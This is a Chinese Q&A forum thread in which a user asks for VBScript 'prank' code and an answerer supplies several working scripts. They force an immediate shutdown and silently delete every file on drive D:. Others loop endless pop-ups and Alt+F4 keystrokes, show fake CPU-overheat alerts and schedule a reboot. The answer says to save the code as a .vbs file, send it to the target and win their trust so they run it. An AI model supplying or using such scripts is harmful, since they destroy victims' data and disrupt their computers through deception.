VB非爱不可的整人代码是什么?
- 提问者网友：锁深秋
- 2021-04-28 12:21
- 五星知识达人网友：爱难随人意
- 2021-04-28 13:31
Dim a
do
a=InputBox("快说“老公我爱你”，一个停顿都不能有，不然我就关机！","老公我爱你")
If a="老公我爱你" Then
Msgbox"这就对了嘛！",0,"老公我爱你"
Exit Do
Elseif a="老公，我爱你" Then
Msgbox"一个停顿也不许有，没看见呀？",16,"老公我爱你"
Else
Msgbox"还不说？你再不说我就关机了！",16,"老公我爱你"
End If
loop
1.直接关机行么？
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
2.删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop
4.不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
'一分钟弹出一次
do until i=10
i=i+1
msgbox "CPU温度过高，系统出现严重误！",16+4096,"系统提示"
wscript.sleep 1000*60 '时间可以自己改
loop
set a = wscript.createobject("wscript.shell")
a.run "cmd.exe /c shutdown -r -t 3600 -c ""求我，我就告诉你怎么办...嘿嘿..."" ",0 ,true
复制代码保存位**.vbs 发给你要整的人就可以了
3600是时间 想让它多久关机就让它多久关机~！
想要让对方运行你的程序就要看你自己的本事了
让他相信你..
- 1楼网友：千杯敬自由
- 2021-04-28 15:29
兄弟能告诉我长什么样？因为我没看过这个证人的。
告诉我具体是怎么整的好让我来实现你想要的
- 2楼网友：酒醒三更
- 2021-04-28 14:24